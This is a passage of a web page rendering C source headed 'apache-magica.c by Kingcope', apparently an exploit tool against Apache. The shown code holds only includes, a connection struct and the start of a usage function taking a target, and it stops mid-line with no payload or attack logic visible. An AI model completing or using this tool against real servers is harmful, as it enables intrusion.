<DIV class="line number50 index49 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">apache-magica.c by Kingcope</DIV>

<DIV class="line number51 index50 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">*/</DIV>

<DIV class="line number52 index51 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;</DIV>

<DIV class="line number53 index52 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">#include &lt;stdio.h&gt;</DIV>

<DIV class="line number54 index53 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">#include &lt;stdlib.h&gt;</DIV>

<DIV class="line number55 index54 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">#include &lt;unistd.h&gt;</DIV>

<DIV class="line number56 index55 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">#include &lt;getopt.h&gt;</DIV>

<DIV class="line number57 index56 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">#include &lt;sys/types.h&gt;</DIV>

<DIV class="line number58 index57 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">#include &lt;stddef.h&gt;</DIV>

<DIV class="line number59 index58 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">#include &lt;openssl/rand.h&gt;</DIV>

<DIV class="line number60 index59 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">#include &lt;openssl/ssl.h&gt;</DIV>

<DIV class="line number61 index60 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">#include &lt;openssl/err.h&gt;</DIV>

<DIV class="line number62 index61 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">#include &lt;netdb.h&gt;</DIV>

<DIV class="line number63 index62 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">#include &lt;sys/socket.h&gt;</DIV>

<DIV class="line number64 index63 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">#include &lt;netinet/in.h&gt;</DIV>

<DIV class="line number65 index64 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;</DIV>

<DIV class="line number66 index65 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">typedef struct {</DIV>

<DIV class="line number67 index66 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;int sockfd;</DIV>

<DIV class="line number68 index67 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;SSL *handle;</DIV>

<DIV class="line number69 index68 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;SSL_CTX *ctx;</DIV>

<DIV class="line number70 index69 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">} connection;</DIV>

<DIV class="line number71 index70 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;</DIV>

<DIV class="line number72 index71 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">void usage(char *argv[])</DIV>

<DIV class="line number73 index72 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">{</DIV>

<DIV class="line number74 index73 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;printf("usage: %s &lt;--target target&gt; 